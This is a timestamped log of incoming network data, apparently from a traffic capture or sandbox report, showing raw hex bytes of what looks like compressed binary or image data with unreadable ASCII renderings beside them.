b8 9e ea fa ee 08 3e f7 fc 78 ea 2d 2d c3 ff 00 df 0b f7 6b 37 4f f1 45 b6 9b 6b 1c 76 b1 dd 24 4d f3 fd ab cf 69 65 76 ff 00 
6c 6d e2 a9 dc 78 47 55 68 24 
Data Ascii: 5xM+IRUZowYZ5mI?TiD_QBMW?u}?$O^nrwey}WxLRMJx_{no*H!}U4'Q~MjQg}{v+K_g,*GM#>x--k
7OEkv$MievlmxGUh$

2022-06-08 07:56:26 UTC 8602 IN Data Raw: be 4c db fb 0d 9e a5 26 df 23 63 ff 00 d3 4f 92 a9 dd 78 57 f8 a3 8e 34 db f7 fc b7 5a a2 ba b5 b2 fc cd 03 c3 2f 
fd 33 93 7a 54 8b e2 47 fd da ec 8d ff 00 e0 0c 94 f9 66 9e 81 2a 98 6a 8b df 5f 71 46 68 db 4d ba dd 1f 99 07 f7 24 fb 9b 
ea c4 9a a4 ed 1c 6d 24 71 ce 9b ff 00 d6 41 b7 ee d5 c6 6f b6 7e f1 ac 23 78 bf 8d e3 dd fd 6a bd d6 9f 63 27 ee d6 e2 
34 ff 00 b6 6d 57 a7 5d cc 79 25 14 dd 37 a7 9f fc 12 7b 1b 9b 2b c9 bc bf 3f fd cf 32 3f ff 00 5d 6a dd 69 2b 6f 1e e5 f9 ff 
00 eb a5 72 b3 78 7f ca 93 f7 88 93 c4 a9 f2 48 9f 25 5c b7 bc 9e de 0f 26 d6 ee 48 1f f8 fc ff 00 b8 ff 00 ce a6 51 6f 63 a2 
15 54 53 8d 48 6a 69 49 1c 11 7d e9 24 81 d7 ee 79 7b aa bf f6 96 d9 3e 5b bd ff 00 f5 de 0d 95 5e 69 2f ae a3 fd e7 97 7
4 8b f7 f6 49 ff 00 d6 dd 54 e3 9a 
Data Ascii: L&#cOxW4Z/3zTGf*j_qFhM$m$qAo~#xjc'4mW]y%7{+?2?]ji+orxH%\&HQocTSHjiI}$y{>[^i/tIT

2022-06-08 07:56:27 UTC 8618 IN Data Raw: f1 bb af f5 af 38 d6 5b 41 69 a3 8a c6 7b b4 95 77 6f fb 77 dc fa 2e d3 58 d3 8f 3b d6 2c e9 ac b9 12 e4 ab 76 
f5 76 e9 e8 74 4d a9 68 cb 65 3a dd dd c3 7b a8 6f da 8f f6 56 f9 d5 ba b6 e1 59 f7 d6 ba 0f 8b 12 49 23 fb 25 95 c5 aa 7c 
90 58 a4 cb bf df 2f f2 d5 34 d1 d6 ea d5 25 6b 8d fb 5d 62 f2 e3 75 44 4f a9 66 2d f9 57 6d 27 87 fc 3f a1 69 7e 76 95 7f 
27 9a c9 fe a2 14 de ff 00 37 53 b7 39 c5 6b 25 cb 64 ae 72 52 69 f3 35 25 a2 fc 3e e3 ce 2f e6 48 2d 6d 61 de ee 91 7f cb 
37 85 9b 7d 50 9a 0f b6 dd 66 1b 54 b6 56 f9 3c b4 46 dd fe 35 bd fd ab 3d fc f3 b5 ae 9a f7 52 ec ff 00 57 07 fe 85 f2 8a 
b9 22 e9 11 69 a8 f7 56 97 d6 5a 93 7f cf 49 95 e2 ff 00 c7 85 6d 66 9a 66 71 ba 4d df e6 69 58 69 97 3e 09 ba 7b 79 ad 
3c c5 96 15 7f 3d 2d 57 7a 2b 7c d8 1b 8e 
Data Ascii: 8[Ai{wow.X;,vvtMhe:{oVYI#%|X/4%k]buDOf-Wm'?i~v'7S9k%drRi5%>/H-ma7}PfTV<F5=RW"iVZImffqMiXi>
{y<=-Wz+|

2022-06-08 07:56:27 UTC 8634 IN Data Raw: ff 00 cf 38 df fc 2b 06 fb 49 bc b7 f3 15 a3 91 3f b9 1e ff 00 f2 7f 4a b8 d5 52 38 a7 80 ad 49 f3 df 9b d0 cd 86 
1b e4 fd e7 9f 1b bf fc f3 9d 24 4d 9f 8f dd a9 21 6f 2a 3f f4 a9 2d 51 ff 00 eb 9a bf e3 c0 fe b4 7f 61 dc f9 7f dc 5f f9 e6 93 
fc ff 00 ad 56 16 ba 96 9d 26 e1 0c 93 44 df c0 f3 2e ca 2e 67 7a b1 92 e6 83 5f 79 ae b6 fa 63 4f e6 34 f1 dd 3e cf 91 e0 
45 7d 9f f0 1a b0 d2 5b 5d 41 23 2d dc 6f fd c8 e7 81 a2 7f fb eb 15 81 1d df 88 2d 67 f3 92 c5 23 8b fe 79 c7 1f f0 ff 00 e8 
55 af a5 ea 17 97 97 52 79 96 97 5f 32 7f b9 b2 a1 fa 9d d4 eb c6 ea 0d 59 bf 27 fe 7f 99 46 f2 c6 ce 29 e4 55 9f 64 4d f3 
a7 99 3a bf e4 c3 35 a1 62 ab 6f 6b e5 c3 24 89 2b fd cf 32 7f 35 1f f5 cd 68 49 a7 fe ef 6f 99 f3 b7 f0 48 8a ff 00 d6 a9 cd 
e1 2d 3e f3 f7 cd 02 40 
Data Ascii: 8+I?JR8I$M!o*?-Qa_V&D..gz_ycO4>E}[]A#-o-g#yURy_2Y'F)UdM:5bok$+25hIoH->@
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2022-06-08 07:56:27 UTC 8642 IN Data Raw: 7f dd ab d5 e8 85 19 ca a6 b2 d1 ae 9a 90 ea 11 df 6b 5e 5f db 24 d4 4c 4b f7 3c bf 2f f9 29 aa 0e ca 8d f6 38 
66 77 68 15 90 42 fe f5 6e 4d 7e 38 50 aa f9 6f 14 9f 72 7f 23 63 a7 a1 c8 a9 e3 d7 b4 a7 d1 f7 5d 49 3b de c5 f7 24 f9 7e 
7f af f7 bf 1a 7a d3 56 48 ce 4d d7 93 95 49 7e b7 39 e9 ac 7e cb 32 43 35 d4 7b bf 81 23 75 96 ae db e8 b1 b5 9b c8 cf 
7b 36 ef 99 3c b9 e3 76 45 ff 00 69 3f 86 9f 6f 71 06 b1 7b 07 f6 83 fc 9f c0 90 41 f3 bb 7f c0 39 a6 b4 2a 97 5f b9 be b1 
78 9b e7 fe 2f cb d6 9a bd ed 26 37 37 18 b7 14 be 65 85 f0 fe 97 ab 79 2c d3 cf 65 2b 6d d8 f2 0d bf fa 0d 47 71 f0 de f3 
56 f9 b4 dd 76 0b a5 5f 91 d2 e9 19 17 f0 eb ba ac 69 d6 32 ca c1 b6 47 f3 7d ff 00 21 3f 87 f4 ad fd 6e 6b 1d 45 23 8e de 
fa fa 1b 85 f9 3c 8b 5b 25 77 75 5f e2 2f 
Data Ascii: k^_$LK</)8fwhBnM~8Por#c]I;$~zVHMI~9~2C5{#u{6<vEi?oq{A9*_x/&77ey,e+mGqVv_i2G}!?nkE#<[%wu_/

2022-06-08 07:56:27 UTC 8658 IN Data Raw: b6 fb 3f a5 47 75 6b 2c b0 49 25 d5 87 ee aa 9c 76 f0 4b 1c 7b a0 fd d2 fd cf 2e 7a 84 ae 8e bf de 45 ff 00 5f aa 
36 35 2d 16 db 59 f3 2f 34 7d 36 3f 10 da 2f cf fd a5 75 74 b6 fb 3e a8 e3 75 5e 87 c0 7a 86 b1 a6 d8 49 aa 5f d8 e9 1a 17 
df f3 2c 53 cd 7f e4 16 bb 6b 59 22 d2 6d 60 8e 68 2e a0 d4 1b ef fe e3 cd de df 8a d6 6e a0 ab 2e ab 3d d4 9a 2d f7 94 
a9 f3 f9 f6 b1 f9 49 ff 00 00 dc 77 fe 55 f9 7a ab 3e 8a cd 75 bf f9 9f be ba 34 63 75 39 26 9f 45 1b 2f c1 5f f1 34 b4 fb 3f 
0e 68 da 54 92 78 7e c2 7d ca 9f 3d f4 fb 51 1f de a9 f8 6f fe 11 cd 72 ea 4b ab 1b 08 de f6 2d db fc 89 d6 54 f9 7b f9 79 
c7 e9 59 72 58 de 6b 96 32 2d f6 9b fd 9d 65 13 ef 49 27 91 53 7f d6 31 fd 6b 5b 41 5b 6b 0b a8 1b 4f 82 7f b3 ae d7 7f 2e 
e9 51 3f 24 01 6a bd 97 32 6d bb cb 
Data Ascii: ?Guk,I%vK{.zE_65-Y/4}6?/ut>u^zI_,SkY"m`h.n.=-IwUz>u4cu9&E/_4?hTx~}=QorK-T{yYrXk2-eI'S1k[A[kO.Q?
$j2m

2022-06-08 07:56:27 UTC 8674 IN Data Raw: ff 00 b9 82 4f b8 fb 3f db 03 bd 72 fe 22 87 50 bf d3 52 e9 ad 27 ba 46 db be 4d 39 db 62 7f df 3f 2b 7e 55 ab 
a4 fc 63 d2 1f c4 c9 7b 24 7a 95 d4 30 a3 27 ef e7 57 df f2 fa 05 ac 3d 06 f3 4f d5 b5 f9 e4 b3 d5 9f 41 b7 57 f3 52 fa fa 46 
47 76 fe ef df db cf bd 73 53 53 5a b8 d8 e8 ad 08 b9 25 19 f3 6b 6d b5 d9 77 d0 e2 f5 4b 38 f4 eb a0 5e 0b e8 e2 64 df 
b2 fa 0f 29 ff 00 fb 2a 9f 4d b7 fd f7 9d f2 22 ff 00 0b ef f9 6b a9 f8 91 35 92 5d c8 b3 c7 ac 26 a0 df 7e 79 2e 91 e2 7f 4d 
bc 7d da e3 7c 2d 34 56 1a a4 6d 73 1c f2 5b b7 ca e9 03 ab 3f f2 ae 98 ce 4e 37 39 2b d2 de cd 7f 5f 91 d3 6a 5a f3 40 8f 
1d fe 93 a7 6a 31 2c 5f 3d d4 1b 93 66 ee 85 9f fb d5 cc 47 6b 1c 77 8f b2 4d eb b7 77 c8 9b 97 f5 ae fb 5c d1 d5 f4 ef 31 
be d5 03 fc bb 3f b4 5f 62 3e ee c9 
Data Ascii: O?r"PR'FM9b?+~Uc{$z0'W=OAWRFGvsSSZ%kmwK8^d)*M"k5]&~y.M}|-4Vms[?N79+_jZ@j1,_=fGkwMw\1?
_b>

2022-06-08 07:56:27 UTC 8682 IN Data Raw: ff 00 81 76 ac 2b ad 4f fd 07 cb d2 2d 2e 1e 59 5f fd 2e 49 1d 5d 27 fe ef c8 77 32 e3 eb 5e c9 fb 35 e9 fa ae a5
a9 4f 6f ab e9 ba af 93 70 9e 55 b5 f4 68 c8 89 ea 9d 2b be ad 69 d0 83 9b 7a 2f bc f0 f0 d8 7a 58 ca d1 a3 08 d9 be ba 
db ee 4d 1e 5d a0 e8 da 7d 8c 7b 6f 34 db e9 dd be e4 ff 00 32 23 fe 95 e8 de 11 f8 7e da 94 71 ae bd 3d d2 5a 7f 05 8d 
8c 92 23 ed f7 ce 6b dd 35 4f 0d e9 fe 15 8e ed b5 2d 7b fb 53 4a 44 6d 89 a8 c6 ae f0 fb 6e 55 0c 6b 81 b1 f1 8e a9 aa 
43 e4 5a eb ae fa 6f 9b f3 f9 0e cf b3 d3 e5 15 e6 cf 1f 2a 91 6e 1f af f9 1f 53 87 c9 15 39 a8 55 d7 cb 45 f7 d9 ea 75 96 
36 fe 13 f8 7d a1 ce be 5c 90 24 49 fe b2 ef f8 17 fd 9f e1 dd fe d6 49 ae 47 56 ba b9 f1 6d 8d dd c6 9f 24 6f a7 db a7 c9 
3d f5 af 94 9b 95 7d 65 eb fa 55 8b eb cf b6 
Data Ascii: v+O-.Y_.I]'w2^5OopUh+iz/zXM]}{o42#~q=Z#k5O-{SJDmnUkCZo*nS9UEu6}\$IIGVm$o=}eU

2022-06-08 07:56:27 UTC 8698 IN Data Raw: 55 b8 4d f1 49 6f 3c bf 67 45 fe 27 dc 31 fd 6b 82 5b ab ad 0f cc 8e 1d 9a 7f 9a 9f be b5 91 db f7 db bd 81 ae 
8a 4a 33 8a 71 dd 75 3c ba d2 95 19 c9 49 d9 3e 8a f6 5f 2d 3f 33 32 f7 4f 96 ce c5 e4 fe c6 9a d3 fb fe 45 d7 fe 84 a7 35 
27 85 ae 12 cd e3 bc b9 fd e4 0a ff 00 ea 1f 6e f7 f6 5a 93 c4 57 1e 1d 97 4e 9d ec fc 35 25 b5 eb ff 00 1b dd 6f 48 7f dd 
1e fe f5 ca e9 7e 64 b7 50 24 33 f9 2f fd f4 fe 0f c6 ba 77 8f bc 73 c9 d9 f3 42 5b 75 3d 0e 6b cb 6f 19 6a b2 37 da 23 d2 
da 5d be 4d 8c ef f7 36 af f0 f2 07 eb 5d 96 87 e2 6f b3 c9 1e 97 79 a2 ff 00 a4 37 c9 e7 d8 a3 23 fd 1d 7e ef d7 e6 ac fb 7f 
03 6f d0 24 bc d4 ad e0 d7 5d 76 a2 4e fa 8b 4b e4 ee f4 44 35 7f c1 22 d3 c3 7a 3d c3 4d 7d f3 cb 37 ce ff 00 6d 58 7e 
83 e7 42 6b 82 72 8c a3 68 eb 6d 0f 4f 
Data Ascii: UMIo<gE'1k[J3qu<I>_-?32OE5'nZWN5%oH~dP$3/wsB[u=koj7#]M6]oy7#~o$]vNKD5"z=M}7mX~BkrhmO

2022-06-08 07:56:27 UTC 8714 IN Data Raw: 7d 1d fd ad ea b7 fb 0c 9f 9e df 97 f4 ac d8 75 2d 42 e2 c5 21 f3 fc fb 75 fb 9f 24 7f ca af 36 8a b2 a7 da 23 9e 
04 76 ff 00 96 1b f6 3f e1 bb 15 ce e3 15 f1 1f 45 0f 6d 51 73 50 93 6b cf 4f f8 73 37 52 f0 ae 95 e2 29 bc e9 20 b1 47 6f f9 
e1 03 27 fe d4 ac 4b 9f 84 aa 8f 9b 79 9e 1f e3 d9 f7 d2 ba d6 ba 5b 7f dc de 49 22 4a bf f3 d3 4e 5d ff 00 f8 e9 c9 ac 3d 
63 5c 8e e2 4d b1 bc 1b 57 fb f1 b2 7e 8d 57 4f 9d bb 23 96 bc a9 25 7a 90 49 fa db f0 b9 cc 36 99 06 dd b2 5f d8 cc cb f2 
7d c6 aa b6 f6 32 41 24 8d 1d bc 17 29 ff 00 3d 23 45 7a 8b 52 8e 3f 32 4f 2e 4f 9f fd c5 4f fd 9a a0 b7 bc b9 b7 93 e6 df fe
7e 95 e9 72 ae 87 cf 5e 31 d5 2b 7a 33 a7 b6 91 36 7c da 6c 1b ff 00 e9 a4 1f 3d 55 d4 be cd e6 46 df 61 f2 7f eb 9b b5 
26 87 ab dc 09 fc cf 3f 67 f7 fe 
Data Ascii: }u-B!u$6#v?EmQsPkOs7R) Go'Ky[I"JN]=c\MW~WO#%zI6_}2A$)=#EzR?2O.OO~r^1+z36|l=UFa&?g

2022-06-08 07:56:27 UTC 8721 IN Data Raw: c9 a3 47 6b 14 4e a9 e5 dd 7d c4 6f ef 2a a7 af e3 5a 76 7e 1f 5b 7b a9 f5 af 10 5d c8 8f 17 ce ff 00 65 83 7a 
27 e7 f3 2d 64 de 43 79 7d 05 c6 b5 e2 48 f5 2b ab bb 8f 93 f7 70 34 4f 0e de 85 87 15 95 7d e3 bb 9f b2 25 ac 89 06 a3 
6e 8f f2 47 a8 c1 e7 3f fd f4 7f c6 b7 f6 7c cb f7 76 f3 38 5e 22 30 95 eb dd f6 bf ea 74 da 81 f0 c3 43 3e a7 6f ad 5f 3d bd 
c2 fc f3 f9 eb f2 36 ef 97 f7 3f 7f f2 af 35 d5 75 9d 3a ea 1f b1 0b eb 52 e8 ed fe a0 36 fe 7f bc f2 48 ab f9 57 55 3e ad 3e 
b5 e0 bb bb 55 b7 d3 b4 bb 79 66 57 7f b2 d9 7d cd bf de 65 cb 7f c0 ab 81 be d1 24 b7 4f de 4f 6b ff 00 00 fb df f8 f7 35 
74 e1 2b 59 b6 4d 5a b4 a5 2e 75 05 b7 9f ea d9 b9 a8 43 ff 00 09 76 86 2d 47 8b 2e a7 86 d5 3f 73 6b 3d ac 9e 57 cb fd 
d6 5c ad 73 ba 5e 8b 1f 87 ee fc eb db 
Data Ascii: GkN}o*Zv~[{]ez'-dCy}H+p4O}%nG?|v8^"0tC>o_=6?5u:R6HWU>>UyfW}e$OOk5t+YMZ.uCv-G.?sk=W\s^

2022-06-08 07:56:27 UTC 8737 IN Data Raw: a1 4a 57 72 83 fb d1 b7 32 b4 69 d6 8e bf dd 94 6f f7 3f f3 39 6d 5b 49 d5 d9 1f ed d6 3f 6a 68 bf e5 bd ae a2 
ae ff 00 93 16 aa 6b 6b 03 48 92 37 9e 91 2f fc b1 9d 15 3f ad 7a 2c 7a b4 f6 76 be 65 c4 1f 6a b7 f9 91 ee ad 1e 39 5f db 
2d 19 dd f5 aa 12 68 16 5e 22 d2 e7 9b 43 d9 75 70 9f eb 63 d9 f3 fe 1b eb aa 35 1a f8 b6 ef d0 e7 af 85 9c e3 fb a5 af 54 
d5 a5 f2 5d 7d 51 ca c7 24 53 4d e6 48 9f 37 f0 bb d7 a1 e9 3a d4 0b 63 61 6b 0d 84 77 b7 ca fb ff 00 70 ff 00 c5 f5 c9 ae 
43 c1 fe 1f d3 e4 d5 9e cf 5f b8 ba d1 53 67 c9 3c f1 ec 4d de e6 bd 7b c1 be 07 f0 b4 09 b6 2d 46 0d 5e 65 7f 96 ea 4f ba 
fe c9 b7 ee 57 2e 2a b5 38 2b 49 3b fc ff 00 34 3c b7 2f c5 4a a5 e9 c9 2b e9 ab 57 fb 9e a7 2f e2 ad 73 4a ba 9e 3d 3b 
54 b0 fb 2d c4 a9 f2 49 e7 ab a5 b3 7f c0 
Data Ascii: JWr2io?9m[I?jhkkH7/?z,zvej9_-h^"Cupc5T]}Q$SMH7:cakwpC_Sg<M{-F^eOW.*8+I;4</J+W/sJ=;T-I

2022-06-08 07:56:27 UTC 8753 IN Data Raw: 62 de e3 ed 51 f9 70 ff 00 df b9 3e 7a ab 1f 9f 0d 8e db 88 ff 00 8f e4 78 fe e2 7f f1 34 43 6f 05 95 d6 d6 fe 14 
f9 11 3f bd 51 f9 37 33 fe ee c6 3d 8d 2f df af 62 15 25 b3 f8 bc 8f 27 96 37 d3 6f 31 ab 35 b5 bf cb e5 a4 ce cf b3 66 ff 00 
9d 2b 37 c4 de 17 d0 fc 65 69 05 af 88 34 58 35 78 be e4 3e 62 7c e9 fe d2 b7 54 c5 68 de 5a ab e9 cf 1b 7f c7 c6 ff 00 f5 
c8 f5 4a 4b a9 6d ed e0 8e 38 e3 7f 9f e7 f2 df fb dd ff 00 1a e8 8e 22 ad 1f 7a 9c ac c9 9e 16 8e 26 0e 15 22 a4 9f 73 c8 
fc 69 fb 35 df 69 32 49 27 84 6f e3 fb 22 fd fb 5b a4 5f b4 27 fb 8f d1 ff 00 4f c6 bc 27 58 99 ad 64 91 66 49 27 b8 8a 66 4f 
32 37 67 4f f7 4f d2 be ee d3 6e 96 5b 1d cd 27 c9 bf 7d 7c 2f fb 50 7c 2f d4 fc 39 f1 1a ef 58 86 fe 48 34 ad 53 75 dc 31 
c7 f2 26 e6 fb f1 fa 75 af bd 
Data Ascii: bQp>zx4Co?Q73=/b%'7o15f+7ei4X5x>b|ThZJKm8"z&"si5i2I'o"[_'O'XdfI'fO27gOOn['}|/P|/9XH4Su1&u

2022-06-08 07:56:27 UTC 8761 IN Data Raw: be 19 b4 58 27 d4 6d 6e 37 b5 bf cf 3e f8 5d 95 72 37 17 c6 dc d6 55 14 97 c3 a2 7f 33 ae 84 a3 1b ca 6a ef 
ee fc 95 ce 8a 4d 05 6f ac 6e 3c cf 10 5d 5a bc 4f fb ef 32 7d f0 fc df ec f0 68 d2 f4 b9 a2 b5 9e ce ce ff 00 4e d5 ed e5 f9 
de d6 7d d1 3e ef ef 27 ff 00 5a b8 88 e4 b9 b7 b1 f3 1a 4d ee cf fb ef 33 6f 95 f2 f4 f9 ba 6e f6 35 d1 69 3e 2a d7 3c b8 
e3 6f 2f ec ff 00 c1 24 fb 7e ef b6 fc ff 00 e3 b4 a5 4e 56 d2 49 fe 04 fb 4c 34 e4 af 07 1d 3a 36 ff 00 af b8 d0 5b cf 26 fb 
6b 41 06 9c ed b5 26 f2 dd 9d f6 fe 22 b6 35 2f 0b b2 5d 47 0d 9c 97 57 52 b7 ef 7c c8 ff 00 75 b1 7e b5 a9 e1 9d 1f 4a bc 
d3 be c3 7d 7d 26 a1 2f fc b1 82 4d b1 3c 2d fe c7 46 a6 dd 78 82 c7 46 ba 92 3b c8 2f 91 22 4d 89 e7 ba fc ff 00 f0 1a e2 
95 46 e7 6a 6b fe 09 bf d4 69 d3 a6 
Data Ascii: X'mn7>]r7U3jMon<]ZO2}hN}>'ZM3on5i>*<o/$~NVIL4:6[&kA&"5/]GWR|u~J}}&/M<-FxF;/"MFjki
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2022-06-08 07:56:27 UTC 8777 IN Data Raw: 07 af cc 2b ab b3 f1 14 36 37 51 c6 be 66 cf 99 3e 7d db d1 be b5 6a 4b 7f dc fe ef cb 45 ff 00 d9 ab 8b f1 ef 87 
6f 2e b4 e9 35 0d 36 4f f8 98 44 9b de 0f f9 65 73 b7 d7 fd aa e2 52 b4 bf 73 a3 27 9a 15 63 cb 57 63 bf 93 52 59 ad 67 99 
93 e4 54 5d 94 d8 5a 26 d9 71 f3 c7 ff 00 3c ab c5 74 1f 17 6a 5e 5c f3 49 6e f6 a9 12 2b ec 92 76 4f bb d7 8c 62 ba dd 2f 
c5 97 50 5a 25 c3 41 27 95 f7 25 d9 b5 d1 37 7d 3f 9d 29 62 a5 a7 34 75 14 b0 6a 29 f2 48 f4 b8 e3 82 f3 fd 64 9e 4b a7 
fc b3 fe fa d5 3b 89 fe c5 24 91 5b c0 fe 55 73 9a 7f 8b 2d 9b 7c d3 4e e8 ec 8c e8 92 27 f7 7f 2a b9 79 ae 2c 5e 5a c3 bf 
f7 89 b1 1f 7a fc ed f8 d5 c6 bc 67 1b bd 1f e2 71 fd 56 70 9d 9e ab f0 36 ee 35 09 ef 6d 52 35 7d ec cf f2 7f 7a a1 9a dd 
96 39 d6 3f bc df eb ab 90 84 6a 13 5d 
Data Ascii: +67Qf>}jKEo.56ODesRs'cWcRYgT]Z&q<tj^\In+vOb/PZ%A'%7}?)b4uj)HdK;$[Us-|N'*y,^ZzgqVp65mR5}z9?j]

2022-06-08 07:56:27 UTC 8793 IN Data Raw: 13 fd 1d fe 6c 79 72 9d df f8 f0 19 15 f4 c7 85 7e 06 db 68 32 41 6f ae 4f fd bd a8 4a 8d b3 f7 1f b9 b6 55 eb c1 
fb ef e8 c6 be e6 a6 7d 84 85 35 3b 59 f6 b6 e7 e1 31 e0 3c de 58 a7 45 ce 2e 3b f3 dd b4 bb ae 8e ff 00 23 c1 75 eb 3b 
18 f4 d9 ef 16 3f ec 8b 59 7e 44 8e 34 df f3 7f 79 ba 2f 3f 5a 9b 54 f8 8d 73 af 69 b0 68 f6 70 41 f6 7b 38 95 e6 9e 77 df bf 
67 7f 90 e7 f5 af b2 34 df 0a e9 16 76 bf 65 b7 b0 b4 82 de 57 f9 e3 d8 bb 1f d7 8a e7 6e be 19 f8 5e f2 79 f7 68 b6 29 b9 
1a 17 48 d3 67 de e3 8a e2 87 10 e1 f7 a9 07 a3 d3 54 7b 35 7c 3d c7 24 d5 0a f1 f7 96 aa cd 7d da 3e be 47 ca f2 6a 8f 
e2 7f 0c c7 35 cd a6 95 f6 78 91 bc 99 20 ba 64 74 dd fe cb d7 94 7f 67 69 9f da 98 bc bb 48 d3 e6 f9 e0 fe 55 f7 1e ad e1 
3f 86 5e 1c ba 92 df 5a bb d3 6c a6 89 
Data Ascii: lyr~h2AoOJU}5;Y1<XE.;#u;?Y~D4y/?ZTsihpA{8wg4veWn^yh)HgT{5|=$}>Gj5x dtgiHU?^Zl

2022-06-08 07:56:27 UTC 8801 IN Data Raw: 71 f3 47 f2 4b fe 7d 69 90 33 58 36 e6 87 ed 71 36 df 93 fb 94 e5 86 69 72 c9 e8 72 aa cb 9b 9e 2b 5d 34 d8 cf 
82 d7 ed 53 5a 41 6f bd 13 ee b3 bf f7 be b5 b1 35 8c b1 d9 a4 92 3c 73 2f dd ff 00 80 d7 3f 71 75 77 6b 71 f6 8b 5f 93 76 
ef e0 fb fb aa 4b 7d 5a 5d 3a 37 69 3f 7c 8c 9f f0 2f ff 00 55 73 41 c2 17 53 4e fd ff 00 22 aa 52 ab 3b 38 b5 6e dd 7e f2 cb 
43 fb cf 2e 4f ba df 26 fa e5 ef 34 d8 16 fb 6d c7 96 88 bf 7e 49 de ba 8b cb 78 9a 3f 3a de 4f 9b f8 eb cd 3e 3d 78 66 e7 
c5 bf 0c f5 38 b4 bb f9 2c b5 3d 8c f6 fe 43 ec 77 95 39 f2 ff 00 e0 5f 76 bd 0c 3c 5c e6 a0 9d af d4 ca ad 45 4e 9b a8 d3 
69 7d e4 f7 df 10 3c 3d e1 5b 59 ff 00 b5 b5 3b 1b 58 97 76 f8 f7 af eb 5e 73 a9 7e da de 05 d2 e4 f2 6d fc fb d4 fb 89 24 0
9 b1 2b e5 fd 3f f6 53 f8 a9 e2 db 
Data Ascii: qGK}i3X6q6irr+]4SZAo5<s/?quwkq_vK}Z]:7i?|/UsASN"R;8n~C.O&4m~Ix?:O>=xf8,=Cw9_v<\ENi}<=[Y;
Xv^s~m$+?S

2022-06-08 07:56:27 UTC 8802 IN Data Raw: e1 cf 0e c7 24 76 1a 15 8d aa 5c 6d 79 7c b8 23 4f f8 0f 0b f8 d5 ef f8 4a 22 b7 99 e1 b8 f2 f6 6f ff 00 57 b1 76 
27 d3 9f 9b f4 a9 a6 d4 ad af 11 e4 59 1e d5 f7 ef 48 e4 f9 3e 55 5f 6a 7e da af f3 0b ea d4 af 7e 55 f7 22 ad c7 87 e0 d5 
35 4f b3 dd 47 b3 ca 85 9e de 78 37 44 e8 ad f2 f2 fc 6e a8 b5 4d 2e c6 2d 52 d2 2f dd cf 68 d6 f2 25 c5 ac fb 5d 37 2e 36 
1f 9b b9 ee 69 9e 5b db c8 8d 34 f3 bd bf cd be 3f bf f2 b7 dd c9 fb dd be ed 3b 49 bc 81 a0 f2 66 4d f6 b6 bf be 49 d3 e4 
de dd bf 2a c5 4e a3 7d 51 a4 a9 41 c7 a3 4b a1 cb eb 1a 2f 84 e2 8f 76 ad a1 69 50 44 bb 53 cb ba b2 8b 67 cd c7 de c6 
d6 e6 b0 75 cf 80 3f 0d fc 47 75 07 9d e0 4d 1d ff 00 8f f7 10 79 4e ff 00 f7 c6 2b d0 2e a6 5b df b5 c9 fb c9 dd 37 23 c7 fe 
a9 13 77 1c 9e 1b 95 f4 a7 5a ea 16 
Data Ascii: $v\my|#OJ"oWv'YH>U_j~~U"5OGx7DnM.-R/h%]7.6i[4?;IfMI*N}QAK/viPDSgu?GuMyN+.[7#wZ

2022-06-08 07:56:27 UTC 8818 IN Data Raw: e1 fe 55 db 1a d1 d2 a7 76 70 7b 27 ed 15 37 d1 5f d6 d6 ff 00 33 85 fb 54 17 11 da 49 71 ff 00 1e 4c eb e7 47 
1f c9 b1 77 7e 99 ae 9b c4 9f f0 8f 78 96 0f f8 49 34 3f f8 94 27 db a3 d3 a6 d3 7f e5 93 b2 f3 b9 1d 54 6d f9 55 7a fd e6 dd
cd 79 dc 92 4b 79 75 27 97 e6 3d ba ff 00 cf 4f 91 1f 77 3f 9d 49 f6 a9 74 b8 24 8d 64 ff 00 44 97 73 c3 6b f7 d1 e5 55 db 
b8 8a ef 8c 53 77 be e6 ae 5a 27 6d 56 a6 c7 8a b5 8d 43 c3 9f 16 35 2d 42 fa 7f b7 6b 7f 68 f9 27 9d fe d0 ef f7 fc bc 91 
fe c7 fc 0b ee d7 d1 5f 0d 75 ab 3b 8b ed 6a 15 92 08 22 d7 21 b8 be b8 d7 20 fb 8e cc a3 77 de fe 38 e5 55 1b 7b ff 00 
ac fa fc 77 e2 4d 73 50 d7 35 9f 32 e2 49 23 96 24 54 87 cc 4f b8 ab f7 57 bb 2f f3 af 4e f8 47 ac 37 84 b5 2b bb 89 af e3 
83 4f fb 3c 8e 9f 6e 7f f4 74 9f ca dc 
Data Ascii: Uvp{'7_3TIqLGw~xI4?'TmUzyKyu'=Ow?It$dDskUSwZ'mVC5-Bkh'_u;j"! w8U{wMsP52I#$TOW/NG7+O<nt

2022-06-08 07:56:27 UTC 8834 IN Data Raw: fd 39 ac ea 72 42 57 bb 47 46 1a 75 2a d3 f7 63 09 37 bb d5 3f bd 1c b7 8a ac ed bc 3b 63 1e a3 63 ab 47 0d 
da ba a2 7d 86 eb ca f9 bd 4a 64 8f ca b4 fc 07 7d 3f 88 a1 df 3f 88 7e d5 7d bf e7 b4 93 6e f4 fc fe f2 9f 6a ea 3f e1 11 f0 
c6 9f 1f fc 4c 74 db 5f 29 91 be fe ed f5 e1 9e 24 9f 4c 8a fa 41 a3 58 cf 1c 30 3f c9 3e ff 00 b9 f9 56 f4 9a c4 41 c3 5b f7 
22 bc e7 82 ab 1a b2 4a cf 4e 54 ed f3 b5 92 fc 0f 6b bc 69 62 8e 48 ff 00 70 ff 00 ec 48 8b bf 77 e2 05 73 b2 4d 67 75 fb 
bb cb 4f b1 4b fe e6 c4 7f c1 bf c4 d4 3a 5f 8e 2f af b4 68 23 be f0 f4 fa 8a 6c 54 fb 54 1f 3b d6 e4 37 4d 67 1e d8 fc cb 54 f
f 00 9e 17 50 37 f8 ed ac 63 19 53 76 6b 53 aa 75 a1 89 49 a5 a7 a3 fd 6d f8 36 79 a6 bf 6f 73 67 3c 92 fd fb 57 ff 00 96 
96 bf 3a 7f e3 d5 5a 6f 88 b7 8d 
Data Ascii: 9rBWGFu*c7?;ccG}Jd}??~}nj?Lt_)$LAX0?>VA["JNTkibHpHwsMguOK:_/h#lTT;7MgTP7cSvkSuIm6yosg<W:Zo

2022-06-08 07:56:27 UTC 8841 IN Data Raw: 96 e8 be 6e f4 58 a5 4f dd b7 0a 33 8e 3d 6b 7b 58 d5 af 1e 3d 4b 4f d3 ae a4 b1 bb 89 16 6b 77 92 0d 91 3e ff 
00 bb 2e f0 bf 7f 7d 51 92 c6 c7 50 be b4 b9 b7 8d 26 b8 d3 92 4b 84 be 8d 37 45 f2 fc af 18 8b a1 53 9d bc d5 5d 6a 49 
e1 b8 82 cf 50 d5 be 47 bb 5d 9f 65 ff 00 96 31 73 b7 f7 8d c7 fc 07 d7 bd 25 7d 22 9e 85 4a 31 6e ed 6b fd 7c be f3 a5 b8 
